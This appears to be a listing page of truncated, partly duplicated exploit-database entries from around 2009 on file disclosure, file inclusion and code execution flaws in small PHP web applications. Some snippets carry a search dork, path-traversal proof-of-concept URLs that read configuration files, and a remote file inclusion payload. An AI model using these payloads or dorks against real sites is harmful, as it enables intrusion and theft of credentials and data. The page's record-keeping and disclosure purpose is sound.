CMS Made Simple 1.6.2 File Disclosure

CMS Made Simple = 1.6.2 Class: LFI Reported: 29/07/2009 Public release: 10/08/2009 Remote: Yes DORK: "This site is powered by CMS Made Simple version 1." Site: http://www.cmsmadesimple.org/ Download: http://s3.amazonaws.com/cmsms/downloads/4033/cmsmadesimple-1.6.2-full.tar.gz Vulnerability:...

CMS Made Simple 1.6.2 - Local File Disclosure

CMS Made Simple 1.6.2 - Local File Disclosure CMS Made Simple = 1.6.2 Class: LFI Reported: 29/07/2009 Public release: 10/08/2009 Remote: Yes DORK: "This site is powered by CMS Made Simple version 1." Site: http://www.cmsmadesimple.org/ Download:...

[CSS09-01] SlideShowPro Director File Disclosure Vulnerability

CSS09-01: SlideShowPro Director File Disclosure Vulnerability August 5, 2009 SUMMARY SlideShowPro Director is vulnerable to a file disclosure flaw because it fails to perform proper validation and handling of input parameters. Attackers can exploit this vulnerability to read arbitrary files from...

logoshows bbs 2.0 - File Disclosure Insecure Cookie Handling

logoshows bbs 2.0 - File Disclosure Insecure Cookie Handling Logoshows BBS 2.0 DD ZoRLu yildirimordulari.com - z0rlu.blogspot.com - turkguvenligi.info ref: http://www.milw0rm.com/exploits/9389 vuln: http://www.logoshows.com/bbs/database/globepersonnel.mdb Logoshows BBS 2.0 ICH yildirimordulari.co...

logoshows bbs 2.0 - File Disclosure / Insecure Cookie Handling

Logoshows BBS 2.0 DD ZoRLu yildirimordulari.com - z0rlu.blogspot.com - turkguvenligi.info ref: http://www.milw0rm.com/exploits/9389 vuln: http://www.logoshows.com/bbs/database/globepersonnel.mdb Logoshows BBS 2.0 ICH yildirimordulari.com - z0rlu.blogspot.com - turkguvenligi.info ref:...

OpenJDK: Files disclosure, arbitrary code execution via "deserializing applets" (6646860)

Unspecified vulnerability in the Java Plug-in in Java SE Development Kit JDK and Java Runtime Environment JRE 5.0 Update 17 and earlier; 6 Update 12 and earlier; 1.4.219 and earlier; and 1.3.124 and earlier allows remote attackers to access files and execute arbitrary code via unknown vectors...

MAXcms 3.11.20b Remote File Inclusion / Disclosure

MAXcms 3.11.20b RFI / File Disclosure Vulnerabilities I- Remote File Disclosure Vulnerabilities In /includes/inc.thcmsadmindirtree.php Code 22: if $GET"getjs"=="1" POC : http://localhost//microcms/includes/filemanager/special.php?fmincludesspecial=http://localhost/020.txt Thanx To ... | || \ \ \ ...

Ultrize TimeSheet 1.2.2 File Disclosure

Ultrize TimeSheet 1.2.2 readfile Local File Disclosure Vulnerability Code page /actions/downloadFile.php ==== File not found. "; print $fileName; print "Please make sure your file paths are correct: $config'uploaddir'/$jobid/$fileName"; ? ==== Poc /actions/downloadFile.php?fileName=../config.php...

tenrok 1.1.0 - File Disclosure Remote Code Execution

tenrok 1.1.0 - File Disclosure Remote Code Execution + Tenrok 1.1.0 UDD/RCE Multiple Remote Vulnerabilities + Discovered By SirGod + http://insecurity-ro.org + http://h4cky0u.org + Homepage : http://tenrok.com/ + Users Data Disclosure - PoC http://127.0.0.1/userpwd.txt + Remote Command Execution ...

tenrok 1.1.0 - File Disclosure / Remote Code Execution

Tenrok 1.1.0 UDD/RCE Multiple Remote Vulnerabilities + Discovered By SirGod + http://insecurity-ro.org + http://h4cky0u.org + Homepage : http://tenrok.com/ + Users Data Disclosure - PoC http://127.0.0.1/userpwd.txt + Remote Command Execution - Must be logged in. - Go to http://127.0.0.1/post.php...

MAXcms 3.11.20b RFI / File Disclosure Vulnerabilities

No description provided by source. MAXcms 3.11.20b RFI / File Disclosure Vulnerabilities I- Remote File Disclosure Vulnerabilities In /includes/inc.thcmsadmindirtree.php Code 22: if $GET"getjs"=="1" -------!! 23: readfile$thCMSroot."/includes/wzdragdrop.js";-------!! 24: exit; 25: POC :...

QuickDev 4 (download.php file) File Disclosure Vulnerability

No description provided by source. + QuickDev 4 Php download.php file Arbitrary File Download + Discovered By SirGod + http://insecurity-ro.org + http://h4cky0u.org + Download : http://sourceforge.net/projects/quickdev4php/files/ + Arbitrary File Download - Vulnerable code in download.php...

MAXcms 3.11.20b - Remote File Inclusion File Disclosure

MAXcms 3.11.20b - Remote File Inclusion File Disclosure MAXcms 3.11.20b RFI / File Disclosure Vulnerabilities I- Remote File Disclosure Vulnerabilities In /includes/inc.thcmsadmindirtree.php Code 22: if $GET"getjs"=="1" POC :...

QuickDev 4 - download.php File Disclosure

QuickDev 4 - download.php File Disclosure + QuickDev 4 Php download.php file Arbitrary File Download + Discovered By SirGod + http://insecurity-ro.org + http://h4cky0u.org + Download : http://sourceforge.net/projects/quickdev4php/files/ + Arbitrary File Download - Vulnerable code in download.php...

QuickDev 4 (download.php file) File Disclosure Vulnerability

Exploit for unknown platform in category web applications ============================================================ QuickDev 4 download.php file File Disclosure Vulnerability ============================================================ + QuickDev 4 Php download.php file Arbitrary File Download...

MAXcms 3.11.20b RFI / File Disclosure Vulnerabilities

Exploit for unknown platform in category web applications ===================================================== MAXcms 3.11.20b RFI / File Disclosure Vulnerabilities ===================================================== MAXcms 3.11.20b RFI / File Disclosure Vulnerabilities I- Remote File Disclosu...

QuickDev 4 - 'download.php' File Disclosure

QuickDev 4 Php download.php file Arbitrary File Download + Discovered By SirGod + http://insecurity-ro.org + http://h4cky0u.org + Download : http://sourceforge.net/projects/quickdev4php/files/ + Arbitrary File Download - Vulnerable code in download.php...

MAXcms 3.11.20b - Remote File Inclusion / File Disclosure

MAXcms 3.11.20b RFI / File Disclosure Vulnerabilities I- Remote File Disclosure Vulnerabilities In /includes/inc.thcmsadmindirtree.php Code 22: if $GET"getjs"=="1" POC : http://localhost//microcms/includes/filemanager/special.php?fmincludesspecial=http://localhost/020.txt Thanx To ... | || \ \ \ ...

aa33code 0.0.1 - Local File Inclusion / Authentication Bypass / File Disclosure

aa33code 0.0.1 LFI/Auth Bypass/DCD Multiple Remote Vulnerabilites + Discovered By SirGod + http://insecurity-ro.org + http://h4cky0u.org + Download : http://sourceforge.net/projects/aa33code/files/aa33code/0.0.1/aa33code-0.0.1.tar.gz/download + Local File Inclusion - PoC...

Ultrize TimeSheet 1.2.2 - 'readfile()' Local File Disclosure

Ultrize TimeSheet 1.2.2 readfile Local File Disclosure Vulnerability Code page /actions/downloadFile.php ==== File not found. "; print $fileName; print "Please make sure your file paths are correct: $config'uploaddir'/$jobid/$fileName"; ? ==== Poc /actions/downloadFile.php?fileName=../config.php...